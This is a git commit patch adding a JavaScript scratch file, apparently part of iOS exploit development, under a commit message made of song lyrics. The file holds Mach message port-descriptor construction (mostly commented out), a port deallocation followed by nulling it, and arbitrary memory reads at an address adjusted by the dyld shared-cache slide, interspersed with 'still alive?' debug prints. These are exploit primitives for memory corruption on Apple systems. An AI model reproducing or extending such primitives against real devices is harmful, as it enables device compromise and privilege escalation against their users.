From b040db45dfc9ef9a902e48bc2718a94cd099f505 Mon Sep 17 00:00:00 2001 From: spv420 Date: Tue, 31 May 2022 19:51:14 -0400 Subject: I live in a constant state of fear and misery Do you miss me anymore? And I don't even notice When it hurts anymore Anymore Anymore Anymore --- work/shit.js | 41 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 work/shit.js (limited to 'work/shit.js') diff --git a/work/shit.js b/work/shit.js new file mode 100644 index 0000000..4a84da9 --- /dev/null +++ b/work/shit.js @@ -0,0 +1,41 @@ + + +// new_buf_.push(tmp[0]); +// new_buf_.push(tmp[1]); +// new_buf_.push(tmp[2]); +// new_buf_.push(tmp[3]); +// tmp = u32_to_u8x4(num); +// new_buf_.push(tmp[0]); +// new_buf_.push(tmp[1]); +// new_buf_.push(tmp[2]); +// new_buf_.push(tmp[3]); +// new_buf_.push(0); +// new_buf_.push(0); +// new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR); +// new_buf_.push(19); + +// printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]); + +// var new_buf = fast_array_mul(new_buf_, number_port_descs); + + /* + for (var i = 0; i < number_port_descs; i++) { + write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_address, init_port_set); + write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_count, num); + write_u8(buf + (req_init_port_set * (i + 1)) + 0x8, 0); + write_u8(buf + (req_init_port_set * (i + 1)) + 0xa, 19); + write_u8(buf + (req_init_port_set * (i + 1)) + 0xb, MACH_MSG_OOL_PORTS_DESCRIPTOR); + }*/ + +// var tmp = u32_to_u8x4(init_port_set); +printf("still alive? %x\n", 420); +printf("still still alive?\n"); +printf("yolo\n"); +printf("%x\n", o); + +mach_port_deallocate(self, read_u32(data)); +write_u32(data, MACH_PORT_NULL); +printf("%x %x\n", master, read_u32(master)); +printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide())); +printf("still alive? %x %x\n", err, read_u32(err)); +printf("still alive? %x %x\n", err, read_u32(err)); -- cgit v1.2.3